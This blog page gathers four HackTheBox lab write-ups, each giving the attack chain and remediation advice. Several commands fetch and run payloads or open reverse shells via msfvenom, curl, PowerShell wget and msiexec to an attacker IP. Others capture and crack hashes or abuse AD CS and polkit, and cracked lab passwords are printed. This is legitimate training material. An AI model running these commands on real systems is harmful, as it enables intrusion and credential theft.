kami@kali:~$ journalctl

  • Codify writeup

    Codify writeup

    Box name: Codify

    Difficulty: Easy

    OS: Linux

    Overview: Codify is an easy Linux machine that features a web application that allows users to test Node.js code. The application uses a vulnerable vm2 library, which is leveraged to gain remote code execution. Enumerating the target reveals a SQLite database containing a hash which, once cracked, yields SSH access to the box. Finally, a vulnerable Bash script can be run with elevated privileges to reveal the root user's password, leading to privileged access to the machine.

    Link: https://app.hackthebox.com/machines/Codify?tab=play_machine

    Machine IP: 10.129.56.141

    Ran rustscan against the machine. 

    rustscan -a 10.129.56.141 –ulimit 5000 -b 500 — -A -Pn

    Added codify.htb to /etc/hosts. We also notice a Nide.js framework on port 3000. Navigated to the web server.

    When clicking ‘About us’ it tells us it’s using vm2 library for the sandboxing. Upon research I found a CVE https://nvd.nist.gov/vuln/detail/cve-2026-22709. Read through the exploit and found POC. This vulnerability happens due to no sanitization on globalPromise.prototype.then https://github.com/advisories/GHSA-99p7-6v5w-7xg8. I used this poc code https://www.endorlabs.com/learn/cve-2026-22709-critical-sandbox-escape-in-vm2-enables-arbitrary-code-execution. At first it was just showing [object Promise] in the return column. When testing the RCE I was able to get it to interact with an http server I hosted.

    After playing with the code for a bit, I created a msvenom payload reverse.elf, and have it chmod to execute and then execute in the same line. I was able to get a response back in msfconsole.

    There is a user joshua on the machine.

    Did some local enumeration we can see a mariadb server.

    Ss -tunlp

    I ended up coming across a database file in /var/www/contact that had the hash of joshua.

    Ran hashcat against the hash.

    hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt

    Joshua:spongebob1

    Confirmed these credentials worked and I was able to get in through ssh.

    ssh joshua@codify.htb

    Grabbed user.txt

    Ran sudo -l and we see a vulnerable script we can run.

    So I was stuck here even though I knew this was the next step in the attack chain. I peeked at the write up and apparently the way its checking the password is vulnerable. We can just submit * and as that makes the if statement true it allows it. The official write up links this https://mywiki.wooledge.org/BashPitfalls#if_.5B.5B_.24foo_.3D_.24bar_.5D.5D_.28depending_on_intent.29. I confirmed that works.

    Additionally, the way that the program runs, we would be able to see the credentials of the $DB_PASS when it is running with the tool pspy64s.

    Downloaded it to my machine.

    wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s

    Hosted an httpserver.

    sudo python3 -m http.server

    Downloaded it to the victim machine, made it executable and ran it.

    curl http://10.10.16.27:8000/pspy64s -o pspy64s

    chmod +x pspy64s

    ./pspy64s

    While it was running I opening another ssh connection and ran the program and we get the credentials in clear text.

    sudo /opt/scripts/mysql-backup.sh

    Then we can switch user to root and get the root flag.

    GG

    Attack Chain

    1 – Reconnaissance Ran RustScan and identified ports 22 (SSH), 80 (HTTP), and 3000 (Node.js). Added codify.htb to /etc/hosts. Browsed to the web server and found a Node.js code testing application. The About Us page disclosed the application was using the vm2 library for sandboxing.

    rustscan -a 10.129.56.141 –ulimit 5000 -b 500 — -A -Pn

    2 – Initial Access – vm2 sandbox escape RCE – CVE-2026-22709 Researched the vm2 library and found CVE-2026-22709, a critical sandbox escape due to missing sanitization on globalPromise.prototype.then. Used a public PoC to confirm code execution by triggering a callback to a hosted HTTP server. Generated a reverse shell ELF payload with msfvenom, had it chmod and execute via the sandbox escape, and caught a Meterpreter session.

    3 – SQLite hash extraction and lateral movement Enumerated running services and found a MariaDB server. Located a SQLite database file in /var/www/contact containing a bcrypt hash for the joshua account. Cracked it with Hashcat using rockyou and SSH’d in as joshua. Retrieved user.txt.

    hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt

    Credentials recovered: joshua:spongebob1

    4 – Privilege Escalation – bash glob pattern matching in sudo script Ran sudo -l and found joshua could run /opt/scripts/mysql-backup.sh as root. The script compared a user-supplied password against the database password using a bash conditional vulnerable to glob pattern matching. Submitting * as the password satisfied the comparison and bypassed the check. Used pspy64s to monitor process arguments while triggering the script in a parallel SSH session, capturing the DB_PASS variable in plaintext from the process listing. Switched to root and retrieved root.txt.

    sudo /opt/scripts/mysql-backup.sh


    Key Takeaways

    1. vm2 sandbox escape enabling arbitrary code execution – CVE-2026-22709 (CVSS 10.0 Critical) – The web application used a vulnerable version of vm2 with a known sandbox escape vulnerability. Sandboxing libraries must be kept fully patched and user-supplied code must be executed in an isolated environment with no access to the host OS. If vm2 cannot be patched, replace it with a container-based or process-isolated execution environment.
    2. Technology disclosure via About Us page – The vm2 library and version information was disclosed on a publicly accessible page, enabling precise CVE targeting. Technology stack details including library names and versions must never be disclosed in public-facing application content.
    3. SQLite database containing password hash accessible after foothold – The database file in /var/www/contact was readable after gaining a foothold as the web application user and contained a bcrypt hash for a system account. Database files must be stored outside the web application directory with permissions restricting access to the database service account only.
    4. Weak password crackable with rockyou – Joshua’s bcrypt hash was cracked using the rockyou wordlist. While bcrypt is an appropriate algorithm, the underlying password spongebob1 was a common dictionary word. All user passwords must meet complexity requirements that resist offline cracking regardless of the hashing algorithm in use.
    5. Bash glob pattern matching vulnerability in a sudo script – The mysql-backup.sh script used an unquoted bash variable comparison allowing glob wildcards to bypass the password check. Shell scripts executed with elevated privileges must use proper string comparison with quoted variables and must validate all user input before use. Process arguments containing sensitive values such as DB_PASS must never be passed on the command line where they are visible to pspy and similar monitoring tools.

    Remediation

    [Immediate] Patch or replace vm2 to remediate CVE-2026-22709 (CVSS 10.0 Critical) Update vm2 to the latest patched version immediately. If no patch is available or the library is abandoned, replace it with a container-based or subprocess-isolated code execution environment. Restrict the code execution endpoint to authenticated users and implement rate limiting and output sanitization.

    [Immediate] Remove technology disclosure from the application Remove the About Us page reference to vm2 and any other library or version information from all public-facing content. Audit all pages for stack disclosure and implement a content security review process before any technology information is published.

    [Immediate] Fix the glob pattern matching vulnerability in mysql-backup.sh Rewrite the password comparison in the script to use quoted variables and a cryptographically safe comparison method. Replace the bash conditional with a direct database authentication test that does not expose the password as a process argument. Remove the sudo rule until the script is fixed and reviewed.

    [Immediate] Restrict database file permissions Move the SQLite database file out of the web application directory and set permissions to mode 600 owned by the application service account. Audit all web application directories for database files and correct permissions on any findings.

    [Short-term] Prevent sensitive values from appearing in process arguments Audit all scripts executed with elevated privileges for environment variables or credentials passed as command-line arguments. Use files, pipes, or environment variable injection from a secrets manager rather than command-line arguments for any sensitive value. Monitor for credential exposure in process listings using endpoint detection.

    [Long-term] Implement a secure code execution baseline and script review program Define a hardening standard for all user-facing code execution features covering library patch requirements, isolation mechanisms, input validation, and output restrictions. Establish a mandatory security review for all scripts executable via sudo covering glob expansion, variable quoting, argument exposure, and input validation before deployment.

  • Paper writeup

    Paper writeup

    Box name: Paper

    Difficulty: Easy

    OS: Linux

    Overview: Paper is an easy Linux machine that features an Apache server on ports 80 and 443, which are serving the HTTP and HTTPS versions of a website respectively. The website on port 80 returns a default server webpage but the HTTP response header reveals a hidden domain. This hidden domain is running a WordPress blog, whose version is vulnerable to CVE-2019-17671. This vulnerability allows us to view the confidential information stored in the draft posts of the blog, which reveal another URL leading to an employee chat system. This chat system is based on Rocketchat. Reading through the chats we find that there is a bot running which can be queried for specific information. We can exploit the bot functionality to obtain the password of a user on the system. Further host enumeration reveals that the sudo version is vulnerable to CVE-2021-3560 and can be exploited to elevate to root privileges.

    Link: https://app.hackthebox.com/machines/Paper?tab=play_machine

    Machine IP: 10.129.136.31

    Ran rustscan against the machine.

    rustscan -a 10.129.136.31 –ulimit 5000 -b 500 — -A -Pn

    Two webservers and ssh. When navigating to the website it’s a basic website.

    Ran scan with feroxbuster.

    feroxbuster -u http://10.129.136.31 -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion -t 50 -d 4 –filter-status 404,400

    Nothing was coming back right away. Nothing in source code seemed interested nor any robots.txt. I opened Burp to poke around and interestingly it showed a Backend server office.paper.

    When navigating to that site it looks like we get a spin off of Dunder Mifflin site.

    After poking around we find out this is a WordPress page and there is an interesting comment on the Feeling Alone! Blog post http://office.paper/index.php/2021/06/19/feeling-alone/#comments.

    For some reason I was unable to get to the wordpess admin page but I was able to get the version from Wappalyzer, WordPress 5.2.3. I googled exploits and found this which aligns with that blog comment https://www.exploit-db.com/exploits/47690. I added ?static=1 to the URL and it brought us to the ‘secret content’.

    There’s another URL and its likely some sort of chat system. Added that to etc/hosts and navigated to that.

    I created a test account test:test. There is a #general chat that we have access to and reading through it apparently there is a bot that we can interact with.

    When interacting with the bot it has access to the sales directory. After playing with this, it turns out to be nothing. I tried getting out of the directory it has access to and this gives us more information. 

    I couldn’t find a way to get user.txt from here but it shows that this bot is ‘hubot’. This bot has a .env file and we are able to read it through the bot.

    I tried a few users to get in with the password and I was able to successfully get into dwight. I grabbed user.txt. dwight:Queenofblad3s!23

    Transferred linpeas to the device. I wasn’t able to find anything with the output or manual enumeration. Eventually I peaked at the writeup. Turns out the polkit version is vulnerable.

    When searching for exploits it is vulnerable to CVE-2021-3560 https://github.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation. Edited the code to create a user hacked:hacked123 and ran it.

    ./poc.sh

    Switched user successfully.

    Then spawned a root shell and grabbed root.txt

    GG

    Attack Chain

    1 – Reconnaissance Ran RustScan and identified ports 22 (SSH), 80 (HTTP), and 443 (HTTPS). Browsed to port 80 and found a default server webpage. Ran feroxbuster with no useful results. Intercepted the HTTP response headers in Burp and found an X-Backend-Server header disclosing office.paper as a hidden domain. Added it to /etc/hosts.

    rustscan -a 10.129.136.31 –ulimit 5000 -b 500 — -A -Pn feroxbuster -u http://10.129.136.31 -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion

    2 – WordPress draft content disclosure – CVE-2019-17671 Navigated to office.paper and found a WordPress blog. Identified WordPress 5.2.3 via Wappalyzer. Found a comment on a blog post hinting at secret content in drafts. Researched the version and found CVE-2019-17671 which allows unauthenticated viewing of draft posts by appending ?static=1 to the URL. The draft revealed a URL for an internal chat system. Added it to /etc/hosts.

    http://office.paper/index.php?static=1

    3 – Rocket.Chat bot path traversal and credential extraction Navigated to the chat system and created a test account. Found a #general channel where staff discussed a Hubot assistant with access to the sales directory. Interacted with the bot and discovered it allowed path traversal outside its intended directory. Used the traversal to read the bot’s .env file which contained plaintext credentials.

    Credentials recovered: dwight:Queenofblad3s!23

    4 – SSH access and user flag Tried the credentials against multiple users and successfully SSH’d in as dwight. Retrieved user.txt.

    5 – Privilege Escalation – Polkit CVE-2021-3560 Ran LinPEAS and could not identify an obvious path. Checked the polkit version and found it vulnerable to CVE-2021-3560, a race condition in polkit allowing creation of a privileged user without authentication. Used a public PoC script to create a new sudo user, switched to that user, and spawned a root shell. Retrieved root.txt.

    ./poc.sh


    Key Takeaways

    1. Domain disclosed in HTTP response header – The X-Backend-Server response header revealed the office.paper domain to anyone inspecting HTTP responses, exposing an internal WordPress installation that was not intended to be publicly known. Web servers must never disclose internal hostnames, backend addresses, or infrastructure details in response headers.
    2. WordPress draft content disclosure – CVE-2019-17671 – WordPress 5.2.3 allowed unauthenticated users to view unpublished draft posts by appending a static parameter to any post URL. Draft posts must never contain sensitive information such as internal URLs, credentials, or system details, and WordPress must be kept fully patched.
    3. Rocket.Chat bot path traversal exposing credential file – The Hubot bot processed file path requests without restricting access to its designated directory, allowing traversal to the .env file containing plaintext credentials. Bot integrations must validate and restrict all file access to an explicitly approved directory and must never store credentials in files accessible through the bot’s interface.
    4. Plaintext credentials in a bot environment file – The hubot .env file contained plaintext credentials that were recoverable through the path traversal. Application secrets and credentials must be injected at runtime via a secrets management solution and must never be stored in plaintext files accessible to web-facing processes.
    5. Polkit vulnerable to CVE-2021-3560 enabling unprivileged user creation – CVSS 7.8 High – The polkit version running had a race condition vulnerability allowing creation of a privileged sudo user without any authentication. System packages must be kept fully patched and polkit must be updated immediately when security advisories are released.

    Remediation

    [Immediate] Remove the X-Backend-Server response header Configure Apache to strip all internal infrastructure headers from HTTP responses. Audit all response headers across both ports 80 and 443 for information disclosure and remove any that reveal internal hostnames, backend addresses, server versions, or framework details.

    [Immediate] Patch WordPress to remediate CVE-2019-17671 Update WordPress to the latest supported version immediately. Audit all draft posts for sensitive content and remove any internal URLs, credentials, or system references. Enable automatic security updates for WordPress core and implement a scanning process to detect sensitive content in draft and private posts.

    [Immediate] Patch polkit to remediate CVE-2021-3560 (CVSS 7.8 High) Update polkit to the latest patched version immediately. Audit all recently created user accounts for unauthorized additions resulting from potential prior exploitation. Implement monitoring to alert on new sudo group additions and privileged user creation events.

    [Immediate] Restrict the Hubot bot file access and rotate credentials Rewrite the bot’s file handling to validate all requested paths against a strict allowlist and reject any path containing traversal sequences. Rotate the dwight password immediately. Migrate bot credentials from the .env file to a secrets management solution and restrict .env file permissions to the owning service account only.

    [Short-term] Audit and harden all bot and chat integrations Define a security baseline for all chat bot integrations covering file access restrictions, credential storage requirements, command injection prevention, and authentication requirements. Include chat bot integrations in regular security assessments and test all bot commands for path traversal and injection vulnerabilities.

    [Long-term] Implement a web server response header hardening standard Define a policy requiring all web servers to suppress or replace version disclosure, backend server, and infrastructure headers before responses reach clients. Include HTTP response header auditing in the regular penetration testing scope and verify headers are correctly stripped in all environments.

  • Fluffy writeup

    Fluffy writeup

    Box name: Fluffy

    Difficulty: Easy

    OS: Windows

    Overview: Fluffy is an easy-difficulty Windows machine designed around an assumed breach scenario, where credentials for a low-privileged user are provided. By exploiting CVE-2025-24071, the credentials of another low-privileged user can be obtained. Further enumeration reveals the existence of ACLs over the winrm_svc and ca_svc accounts. WinRM can then be used to log in to the target using the winrc_svc account. Exploitation of an Active Directory Certificate service (ESC16) using the ca_svc account is required to obtain access to the Administrator account.

    Link: https://app.hackthebox.com/machines/Fluffy?tab=play_machine

    Machine IP: 10.129.232.88

    We are given credentials to start: As is common in real life Windows pentests, you will start the Fluffy box with credentials for the following account: j.fleischman / J0elTHEM4n1990!

    Ran rustscan against the machine.

    rustscan -a 10.129.232.88 –ulimit 5000 -b 500 — -A -Pn

    This is clearly a domain machine. From the scan I got the domain name and added that to /etc/hosts. I tried kerberoasting but had an issue with the clock so I synced clock with the DC.

    sudo timedatectl set-ntp false

    sudo ntpdate 10.129.232.88

    Reran kerberoast

    sudo impacket-GetUserSPNs -dc-ip 10.129.232.88 FLUFFY.htb/j.fleischman -request

    We get information back on 3 users ca_svc, ldap_svc and winrm_svc. Saved those hashes and ran hashcat against them.

    hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt

    Unfortunately that didn’t crack anything but we can keep note of those accounts. I’ve been learning more of bloodhound so let’s just go directly to that. Started bloodhound and ingested data.

    sudo bloodhound-start

    sudo bloodhound-python -d fluffy.htb -u j.fleischman -p ‘J0elTHEM4n1990!’ -ns 10.129.232.88 -c all

    I put our current user as owned but I’m not seeing anything right away. Check smb shared with smbmap and it looks like we have access to a drive called IT.

    smbmap -u j.fleischman -p ‘J0elTHEM4n1990!’ -d fluffy.htb -H 10.129.232.88

    Connected to the directory with smbclient.

    smbclient //10.129.232.88/IT -U j.fleischman

    Downloaded all of those. Opened the PDF and it looks like it’s a report of recent vulnerabilities.

    I was doing research of the CVEs listed and came across https://github.com/ThemeHackers/CVE-2025-24071/blob/main/exploit.py. We can write to IT as we saw earlier. Used this to create an exploit.zip. 

    python3 exploit.py -i 10.10.16.27 -f test

    Dropped it to the IT folder.

    smbclient //10.129.232.88/IT -U j.fleischman

    put exploit.zip

    Ran responder.

    sudo responder -I tun0 -v 

    And we got a hash from a p.agila user.

    This is an NTLMv2 hash. Saved it as hash.txt and ran hashcat against it.

    hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

    P.agila:prometheusx-303

    With smb we have no new additional access. Going back to bloodhound we see that p.agila is in the service account managers and service account groups that have GenericAll over the service accounts group. It also looks like the CA_SVC account we saw earlier is high privilege.

    So first we will add ourself to the service accounts group so we can get the GenericWrite over CA_SVC.

    net rpc group addmem “Service Accounts” “p.agila” -U “fluffy.htb”/”p.agila”%”prometheusx-303” -S 10.129.232.88

    Now lets do a shadow credentials attack on ca_svc as we have Generic wrote over it.

    python3 pywhisker.py -d “fluffy.htb” -u “p.agila” -p “prometheusx-303” –target “ca_svc” –action “add”

    Lets turn this into a TGT.

    python3 gettgtpkinit.py -cert-pfx /home/kami/Fknhack/pywhisker/pywhisker/2gI7GJrD.pfx -pfx-pass ‘iTyAdSngwWFPSUVq9Qhf’ fluffy.htb/ca_svc ca_svc.ccache

    export KRB5CCNAME=/home/kami/Fknhack/PKINITtools/ca_svc.ccache

    Now we can successfully use certipy to do AD CS enumeration.

    certipy find -k -no-pass -dc-ip 10.129.232.88 -target dc01.fluffy.htb -vulnerable

    We can exploit ESC16- to spoof the UPN and get a cert as Administrator.

    certipy account update -k -no-pass -dc-ip 10.129.232.88 -target dc01.fluffy.htb -user ca_svc -upn administrator

    Request the certificate.

    certipy req -k -no-pass -dc-ip 10.129.232.88 -dc-host dc01.fluffy.htb -target dc01.fluffy.htb -ca fluffy-DC01-CA -template User

    certipy account update -k -no-pass -dc-ip 10.129.232.88 -target dc01.fluffy.htb -user ca_svc -upn ca_svc@fluffy.htb

    python3 gettgtpkinit.py -cert-pfx ~/Fknhack/administrator.pfx fluffy.htb/administrator administrator.ccache

    export KRB5CCNAME=~/Fknhack/PKINITtools/administrator.ccache

    And we can try getting a shell.

    impacket-psexec -k -no-pass administrator@dc01.fluffy.htb

    Grabbed user.txt which was actually in winrm_svc.

    And grabbed root.txt

    GG

    Attack Chain

    1 – Reconnaissance Ran RustScan and identified a domain-joined Windows machine. Retrieved the domain name from the scan and added it to /etc/hosts. Synced the system clock with the domain controller to avoid Kerberos time skew errors. Ran Kerberoasting with the provided credentials and received TGS hashes for ca_svc, ldap_svc, and winrm_svc. Hashcat failed to crack any of them with rockyou. Ran BloodHound for AD path visualization and checked SMB shares, finding a writable IT share.

    sudo ntpdate 10.129.232.88 impacket-GetUserSPNs -dc-ip 10.129.232.88 FLUFFY.htb/j.fleischman -request smbmap -u j.fleischman -p ‘J0elTHEM4n1990!’ -d fluffy.htb -H 10.129.232.88

    2 – NTLM hash capture via CVE-2025-24071 Downloaded files from the IT share and found a PDF report listing recent CVEs including CVE-2025-24071. Researched the CVE and found a public exploit that creates a malicious zip file triggering NTLM authentication when browsed. Created the exploit zip and uploaded it to the writable IT share. Set up Responder and captured the NTLMv2 hash for p.agila when the file was accessed. Cracked the hash with Hashcat using rockyou.

    python3 exploit.py -i 10.10.16.27 -f test sudo responder -I tun0 -v hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

    Credentials recovered: p.agila:prometheusx-303

    3 – ACL abuse to gain GenericWrite over ca_svc BloodHound showed p.agila was in the Service Account Managers group which had GenericAll over the Service Accounts group. Added p.agila to the Service Accounts group to inherit GenericWrite over ca_svc.

    net rpc group addmem “Service Accounts” “p.agila” -U “fluffy.htb”/”p.agila”%”prometheusx-303” -S 10.129.232.88

    4 – Shadow credentials attack on ca_svc Used pywhisker to perform a shadow credentials attack against ca_svc via the GenericWrite permission, adding a key credential to the account. Used gettgtpkinit to request a TGT using the generated certificate, obtaining a Kerberos ticket for ca_svc.

    python3 pywhisker.py -d “fluffy.htb” -u “p.agila” -p “prometheusx-303” –target “ca_svc” –action “add” python3 gettgtpkinit.py -cert-pfx 2gI7GJrD.pfx -pfx-pass ‘iTyAdSngwWFPSUVq9Qhf’ fluffy.htb/ca_svc ca_svc.ccache

    5 – ESC16 AD CS abuse to impersonate Administrator Used certipy to enumerate AD CS and identified the ESC16 misconfiguration. Updated ca_svc’s UPN to administrator to spoof the identity, requested a certificate as administrator using the CA template, then reset ca_svc’s UPN back to avoid detection. Used gettgtpkinit with the administrator certificate to obtain a TGT as Administrator. Used psexec with the Kerberos ticket to get a SYSTEM shell. Retrieved user.txt from winrm_svc’s directory and root.txt from Administrator.

    certipy account update -k -no-pass -dc-ip 10.129.232.88 -target dc01.fluffy.htb -user ca_svc -upn administrator certipy req -k -no-pass -dc-ip 10.129.232.88 -ca fluffy-DC01-CA -template User impacket-psexec -k -no-pass administrator@dc01.fluffy.htb


    Key Takeaways

    1. CVE-2025-24071 NTLM hash capture via writable SMB share – A writable SMB share allowed placement of a malicious zip file that triggered NTLM authentication when browsed, leaking p.agila’s NTLMv2 hash. SMB shares must enforce the minimum required write permissions and all shares must be monitored for new file creation. Outbound SMB connections from workstations must be blocked at the perimeter to prevent NTLM hash relay and capture attacks.
    2. Weak password crackable with rockyou – P.agila’s NTLMv2 hash was cracked using the rockyou wordlist. All domain user passwords must meet complexity requirements that resist offline cracking. A crackable NTLMv2 hash represents a critical finding when NTLM capture is possible.
    3. Excessive group membership enabling ACL privilege escalation chain – P.agila’s membership in Service Account Managers granted GenericAll over the Service Accounts group, which in turn provided GenericWrite over ca_svc. This chained ACL path led to full domain compromise. AD ACLs must be audited regularly with BloodHound and nested group permissions must be reviewed for transitive privilege escalation paths.
    4. Shadow credentials attack enabled by GenericWrite on a CA service account – GenericWrite over ca_svc allowed adding a key credential and obtaining a Kerberos ticket without knowing the account’s password. Service accounts holding CA-related functions must be treated as tier-0 assets and GenericWrite permissions on these accounts must be restricted to dedicated privileged administrators only.
    5. ESC16 AD CS misconfiguration enabling Administrator impersonation – The CA template was misconfigured allowing UPN modification to spoof any domain user including Administrator, enabling certificate-based authentication as the domain admin. AD CS configurations must be regularly audited with certipy and all certificate templates must be reviewed for ESC misconfigurations. The CA service account must not be modifiable by any non-tier-0 account.

    Remediation

    [Immediate] Block outbound SMB and restrict writable share access Block outbound SMB connections on ports 445 and 139 at the network perimeter and host firewall to prevent NTLM hash capture via Responder. Restrict write access on the IT share to only the accounts with an explicit operational requirement and audit all share permissions. Monitor SMB shares for creation of .zip, .url, .lnk, and .scf files and alert immediately.

    [Immediate] Remediate CVE-2025-24071 Apply the Microsoft patch for CVE-2025-24071 across all affected systems. Until patching is complete, disable automatic preview of zip and archive files in Windows Explorer and restrict NTLM authentication using Group Policy to reduce the attack surface.

    [Immediate] Audit and remove excessive AD ACL permissions Run BloodHound and audit all ACL chains from standard user accounts to service accounts. Remove p.agila’s GenericAll membership chain to ca_svc immediately. Establish a recurring ACL audit process and alert on any new ACE assignments granting GenericAll, GenericWrite, or WriteDACL on service or CA accounts.

    [Immediate] Remediate the ESC16 AD CS misconfiguration Run certipy across all certificate templates and remediate all ESC misconfigurations immediately. Restrict UPN modification on CA service accounts to tier-0 administrators only. Implement CA template access controls requiring manager approval for any certificate request involving high-privilege account identities.

    [Immediate] Rotate all affected credentials Rotate p.agila, ca_svc, and the Administrator account credentials immediately. Invalidate all Kerberos tickets derived from the compromised ca_svc certificate. Audit all accounts for reuse of the prometheusx-303 password.

    [Long-term] Implement tiered AD administration and continuous AD CS monitoring Adopt a tiered AD model treating CA service accounts as tier-0 assets alongside domain controllers. Deploy BloodHound continuously to monitor for new ACL attack paths. Run regular certipy scans to detect new AD CS misconfigurations. Include ESC vulnerability classes and shadow credentials attacks in the regular penetration testing scope.

  • Love writeup

    Love writeup

    Box name: Love

    Difficulty: Easy

    OS: Windows

    Overview: Love is an easy windows machine where it features a voting system application that suffers from an authenticated remote code execution vulnerability. Our port scan reveals a service running on port 5000 where browsing the page we discover that we are not allowed to access the resource. Furthermore a file scanner application is running on the same server which is though effected by a SSRF vulnerability where it’s exploitation gives access to an internal password manager. We can then gather credentials for the voting system and by executing the remote code execution attack as phoebe user we get the initial foothold on system. Basic windows enumeration reveals that the machine suffers from an elevated misconfiguration. Bypassing the applocker restriction we manage to install a malicious msi file that finally results in a reverse shell as the system account.

    Link: https://app.hackthebox.com/machines/Love?tab=machine_info

    Machine IP: 10.129.48.103

    Ran rustscan to scan the machine.

    rustscan -a 10.129.48.103 –ulimit 5000 -b 500 — -A -Pn

    We see a few http servers, SMB amd MySQL. We are also told the domain names of love.htb and staging.love.htb. Added those to /etc/hosts. When navigating to the site it brings us to a sort of Voting system site.

    I tried Roy since that was returned in the scan as an email address but it does not exist. Couldn’t find anything interesting in source code and no secrets.txt. Running ffuf while I poke further.

    feroxbuster -u http://love.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion -t 50 -d 4 –filter-status 404,400

    Checking out port 5000 we get a Forbidden no permission as we saw in the nmap scan. When navigating to staging and clicking Demo we see it tries to scan a given URL.

    When playing with different input, I notice if we type in http://127.0.0.1:5000 is actually has access to the page and gives us clear text credentials.

    admin:@LoveIsInTheAir!!!!

    These credentials didn’t allow me to log in to the voting system which was interesting. I was a bit confused for a while running in loops but I then eventually realized that the Voting system isn’t like a fully custom app but instead has a EDB-ID 49445 and exploit for RCE https://www.exploit-db.com/exploits/49445. Edited the necessary code, started a listener, ran it and we got a shell.

    Grabbed user.txt as we are a user Phoebe.

    Did local enumeration. Eventually I was able to find we have AlwaysInstallElevated enabled.

    reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

    reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

    Created a payload with msfvenom

    msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.27 LPORT=1338 -f msi -o reverse.msi

    Created a Temp directory on the victim host and downloaded the payload there.

    powershell -c wget “http://10.10.16.27:8000/reverse.msi” -outfile “reverse.msi”

    Ran it.

    msiexec /quiet /qn /i C:\Temp\reverse.msi

    And we got a shell. Grabbed the root flag.

    GG

    Attack Chain

    1 – Reconnaissance Ran RustScan and identified ports 80 (HTTP), 443 (HTTPS), 445 (SMB), 3306 (MySQL), and 5000 (HTTP). The scan also revealed domain names love.htb and staging.love.htb. Added both to /etc/hosts. Browsed to love.htb and found a Voting System application. Port 5000 returned a 403 Forbidden. Ran feroxbuster while exploring manually.

    rustscan -a 10.129.48.103 –ulimit 5000 -b 500 — -A -Pn feroxbuster -u http://love.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion

    2 – SSRF via staging.love.htb file scanner Navigated to staging.love.htb and found a file scanner demo accepting user-supplied URLs. Port 5000 was inaccessible externally but the scanner could reach it from the server. Supplied http://127.0.0.1:5000 as the target URL and the scanner returned the page contents including plaintext admin credentials.

    Credentials recovered: admin:@LoveIsInTheAir!!!!

    3 – Initial Access – Voting System authenticated RCE – EDB-49445 The credentials did not initially appear to work on the voting system login until identifying the application as a known vulnerable Voting System with a public authenticated RCE exploit at EDB-49445. Edited the exploit with the correct URL and credentials, set up a listener, and executed it to obtain a shell as phoebe. Retrieved user.txt.

    4 – Privilege Escalation – AlwaysInstallElevated MSI abuse Performed local enumeration and found both HKCU and HKLM AlwaysInstallElevated registry keys were set to 1, allowing any MSI installer to run with SYSTEM privileges. Generated a malicious MSI reverse shell with msfvenom, downloaded it to a Temp directory on the victim, and executed it with msiexec. Caught a SYSTEM shell and retrieved root.txt.

    reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.27 LPORT=1338 -f msi -o reverse.msi msiexec /quiet /qn /i C:\Temp\reverse.msi


    Key Takeaways

    1. SSRF enabling access to an internal credential page – The file scanner on staging.love.htb fetched user-supplied URLs server-side without restricting access to internal addresses, allowing retrieval of content from port 5000 which was blocked externally. SSRF protections must enforce a strict allowlist of permitted outbound destinations and must explicitly block all loopback, link-local, and private IP addresses.
    2. Plaintext credentials on an internal-only web page – The admin password was stored and displayed in cleartext on a page at port 5000 that was only intended to be accessible internally. Credentials must never be exposed in web pages in any form and must be stored and transmitted using appropriate cryptographic controls regardless of the intended audience.
    3. Voting System authenticated RCE – EDB-49445 – The Voting System application was running a version with a known authenticated file upload RCE vulnerability. Web applications must be kept fully patched and file upload functionality must validate file types strictly and store uploads outside the web root with execution disabled.
    4. AlwaysInstallElevated enabled on both registry hives – Both the HKCU and HKLM AlwaysInstallElevated registry keys were set to 1, allowing any user to install MSI packages with SYSTEM privileges. This is a well-documented and easily exploited misconfiguration. AlwaysInstallElevated must be disabled via Group Policy and both registry keys must be set to 0 or removed entirely.
    5. Credentials obtained via SSRF reused across multiple application components – The admin password recovered from port 5000 authenticated to the Voting System admin panel, demonstrating password reuse across internal services. Credentials must be unique per service and application component without exception.

    Remediation

    [Immediate] Remediate the SSRF vulnerability in the file scanner Rewrite the URL fetching logic to validate all user-supplied URLs against a strict allowlist of permitted external destinations. Block all loopback addresses, private IP ranges, and link-local addresses at the application level. Additionally block these at the network level using a dedicated egress proxy that enforces the allowlist independently of application logic.

    [Immediate] Remove credentials from the internal web page on port 5000 Remove all plaintext credentials from the port 5000 page immediately and rotate the admin password. Audit all internal web pages for credential exposure and implement authentication on any page containing sensitive information. Restrict port 5000 at the host firewall to prevent access even from internal sources that are not explicitly authorized.

    [Immediate] Patch the Voting System to remediate EDB-49445 Update the Voting System application to a version without the authenticated RCE vulnerability. If no patch is available, disable file upload functionality until a secure alternative is deployed. Implement strict file type validation using allowlists and store all uploads outside the web root with execution disabled.

    [Immediate] Disable AlwaysInstallElevated via Group Policy Set the AlwaysInstallElevated policy to Disabled via Group Policy for both Computer Configuration and User Configuration. Verify both registry keys are set to 0 or deleted across all domain-joined machines. Include AlwaysInstallElevated checks in regular vulnerability scans and Group Policy audits.

    [Short-term] Restrict MSI execution and implement application whitelisting Deploy AppLocker or Windows Defender Application Control policies restricting MSI execution to signed packages from approved vendors only. Prevent standard user accounts from running msiexec with arbitrary MSI files. Monitor for msiexec execution from user-writable directories via endpoint detection.

